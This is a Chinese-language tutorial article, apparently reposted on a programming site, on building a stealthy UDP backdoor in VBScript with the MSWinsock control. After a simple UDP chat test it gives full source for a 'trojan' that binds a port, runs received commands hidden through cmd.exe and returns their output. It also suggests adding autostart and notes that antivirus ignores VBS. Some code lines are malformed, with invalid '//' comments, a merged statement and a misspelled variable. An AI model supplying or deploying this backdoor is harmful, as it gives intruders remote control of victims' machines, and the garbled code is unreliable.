VBS+MSWinsock打造靈巧UDP后門(mén)的相關(guān)資料
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯(lián)網(wǎng)上盛行。那時(shí)的VBS病毒幾乎都是用FSO、MAPI作為一個(gè)病毒傳染引擎,所以我就想,VBS可否訪問(wèn)網(wǎng)絡(luò)呢?如果它也能進(jìn)行端口的連接,那就神奇了。從此之后,我就努力去找有關(guān)VBS的網(wǎng)絡(luò)類(lèi)的資料,可惜找了好久,什么收獲也沒(méi)有,直到一個(gè)月前高考結(jié)束了,我才可以靜下來(lái)搞這個(gè)東西,并終于有了一點(diǎn)進(jìn)展。
現(xiàn)在分析一下VBS的運(yùn)作原理吧。VBS的全稱(chēng)是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來(lái)的一種面向?qū)ο蟮哪_本語(yǔ)言,所以它的語(yǔ)法與Visual Basic差不多,而且也是靠Object來(lái)實(shí)現(xiàn)它的其它高級(jí)功能。只不過(guò)是VBS是用Wscript.exe或Cscript.exe來(lái)解釋的,因此它不需要編譯,直接運(yùn)行就行了,所以這也是VBS腳本做黑客工具方面的特長(zhǎng)之一:普通殺毒軟件不會(huì)對(duì)VBS感興趣。因?yàn)閂BS是一種面向?qū)ο蟮哪_本語(yǔ)言,所以微軟的很多ActiveX組件都可以通過(guò)“CreateObject(“ObjectName”)”來(lái)創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過(guò)VB編寫(xiě)網(wǎng)絡(luò)程序的朋友也知道,用VB寫(xiě)網(wǎng)絡(luò)程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見(jiàn)到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復(fù)雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒(méi)有留意到那個(gè)Winsock控件,其實(shí)它就是我前面講的ActiveX組件,它提供了訪問(wèn)TCP和UDP網(wǎng)絡(luò)服務(wù)的方便途徑,為編寫(xiě)客戶(hù)或服務(wù)器應(yīng)用程序,不必了解TCP的細(xì)節(jié)或調(diào)用低級(jí)的Winsock APIs。通過(guò)設(shè)置控件的屬性并調(diào)用其方法就可輕易連接到一臺(tái)遠(yuǎn)程機(jī)器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問(wèn)網(wǎng)絡(luò)的引擎,那如何來(lái)用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見(jiàn)到的,要在VBS上引用它當(dāng)然是先創(chuàng)建它的對(duì)象。創(chuàng)建方法就像創(chuàng)建FSO等對(duì)像。新建一個(gè)文本文件,在里面寫(xiě)入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運(yùn)行它,就可以看到注冊(cè)在你系統(tǒng)中的WinSock控件的有關(guān)信息。
怎能么樣?開(kāi)心吧,別急,我下面會(huì)詳細(xì)講講。既然對(duì)象創(chuàng)建成功了,當(dāng)然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設(shè)置參數(shù)就行,是應(yīng)該一步一個(gè)腳印來(lái)設(shè)置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設(shè)置的協(xié)議是通過(guò)“Protocol”來(lái)設(shè)定的,如sock.Protocol=0 或 sock.Protocol=1。注意當(dāng)“Protocol”的值為“0”時(shí),所創(chuàng)建的協(xié)議是TCP;值為“1”時(shí),則創(chuàng)建的是UDP。
我先介紹一下有關(guān)WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機(jī)名
LocalIP //取得本地主機(jī)IP
SocketHandle //取得創(chuàng)建SOCK的句柄
RemotePort //設(shè)置或取得遠(yuǎn)程端口
LocalPort //設(shè)置或取得本地端口
State //返回創(chuàng)建sock的對(duì)像狀態(tài)(代嗎如下){
0 缺省的。關(guān)閉
1 打開(kāi)
2 偵聽(tīng)
3 連接掛起
4 識(shí)別主機(jī)
5 已識(shí)別主機(jī)
6 正在連接
7 已連接
8 同級(jí)人員正在關(guān)閉連接
9 錯(cuò)誤 }
BytesReceived //返回接收到的(當(dāng)前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量
Connect(RemoteHost,RemotePort) //建立遠(yuǎn)程連接,RemoteHost遠(yuǎn)程主機(jī)IP,RemotePort遠(yuǎn)程主機(jī)端口
Listen //使SOCK偵聽(tīng)
SendData/GetData //發(fā)送或接收數(shù)據(jù)
Close //關(guān)閉對(duì)像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測(cè)試一下遠(yuǎn)程主機(jī)會(huì)話吧(UDP),下面是一個(gè)VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創(chuàng)建Winsock對(duì)像
set sock=createobject("MSWinsock.Winsock")
//使用UDP協(xié)議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發(fā)送的數(shù)據(jù)
sendata="Hello!!!"&chr(13)
//發(fā)送我們要發(fā)的數(shù)據(jù)
sock.senddata sendata
do
//如果有數(shù)據(jù)回應(yīng)就顯示它
if sock.BytesReceived>0 then
//定義接收數(shù)據(jù)類(lèi)型(數(shù)據(jù)類(lèi)型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數(shù)據(jù)類(lèi)型才能收到數(shù)據(jù),不然會(huì)收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請(qǐng)輸入你要發(fā)的信息")
sock.senddata senddata & chr(13)
//當(dāng)收到含有"exit"字串時(shí)結(jié)束VBS進(jìn)程
if instr(revdata,"exit") then exit do
else
end if
loop
//關(guān)閉對(duì)像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監(jiān)聽(tīng)本地UDP端口1234,再運(yùn)行剛編寫(xiě)的VBS文件,看!我的NC有反應(yīng)了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進(jìn)程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個(gè)簡(jiǎn)單的UDP C/S已經(jīng)完成了。下面我再寫(xiě)一個(gè)關(guān)于它的利用吧,既然它能訪問(wèn)網(wǎng)絡(luò),當(dāng)然是用它的做個(gè)VBS木馬啦!老編們不會(huì)反對(duì)吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")
sock.Protocol=1 //這個(gè)當(dāng)然是UDP協(xié)議的標(biāo)識(shí)啦
sock.bind 1234 //綁定本地的UDP端口
Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶(hù)端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權(quán)喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "連接已關(guān)閉!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構(gòu)已經(jīng)完成了,要想做一個(gè)全能的木馬可以在代碼里加上諸如開(kāi)機(jī)自動(dòng)運(yùn)行等。由于VBS程序沒(méi)有設(shè)置出錯(cuò)保護(hù),可能一些錯(cuò)誤的操作會(huì)出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個(gè)VBS后門(mén)運(yùn)行在服務(wù)端,之后就用你的NC連,因?yàn)橛玫氖荱DP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個(gè)“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機(jī)器里測(cè)試的截圖。
至于TCP如何編寫(xiě),道理也跟UDP差不多,我這里就不再多寫(xiě)了,大家可以自己研究下。
如果有什么好的方法還可以和我一同研究。謝謝觀賞。
上一篇:一個(gè)可以更換windows xp or 2003的序列號(hào)的vbs腳本
欄 目:vb
下一篇:vbs實(shí)用軟件自造——Windows腳本應(yīng)用實(shí)例
本文標(biāo)題:VBS+MSWinsock打造靈巧UDP后門(mén)的相關(guān)資料
本文地址:http://mengdiqiu.com.cn/a1/vb/7994.html
您可能感興趣的文章


閱讀排行
- 1C語(yǔ)言 while語(yǔ)句的用法詳解
- 2java 實(shí)現(xiàn)簡(jiǎn)單圣誕樹(shù)的示例代碼(圣誕
- 3利用C語(yǔ)言實(shí)現(xiàn)“百馬百擔(dān)”問(wèn)題方法
- 4C語(yǔ)言中計(jì)算正弦的相關(guān)函數(shù)總結(jié)
- 5c語(yǔ)言計(jì)算三角形面積代碼
- 6什么是 WSH(腳本宿主)的詳細(xì)解釋
- 7C++ 中隨機(jī)函數(shù)random函數(shù)的使用方法
- 8正則表達(dá)式匹配各種特殊字符
- 9C語(yǔ)言十進(jìn)制轉(zhuǎn)二進(jìn)制代碼實(shí)例
- 10C語(yǔ)言查找數(shù)組里數(shù)字重復(fù)次數(shù)的方法
本欄相關(guān)
- 01-10下載文件到本地運(yùn)行的vbs
- 01-10飄葉千夫指源代碼,又稱(chēng)qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個(gè)高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語(yǔ)法速查及實(shí)例說(shuō)明
隨機(jī)閱讀
- 01-11ajax實(shí)現(xiàn)頁(yè)面的局部加載
- 01-11Mac OSX 打開(kāi)原生自帶讀寫(xiě)NTFS功能(圖文
- 01-10使用C語(yǔ)言求解撲克牌的順子及n個(gè)骰子
- 08-05DEDE織夢(mèng)data目錄下的sessions文件夾有什
- 01-10C#中split用法實(shí)例總結(jié)
- 01-10SublimeText編譯C開(kāi)發(fā)環(huán)境設(shè)置
- 01-10delphi制作wav文件的方法
- 08-05織夢(mèng)dedecms什么時(shí)候用欄目交叉功能?
- 08-05dedecms(織夢(mèng))副欄目數(shù)量限制代碼修改
- 04-02jquery與jsp,用jquery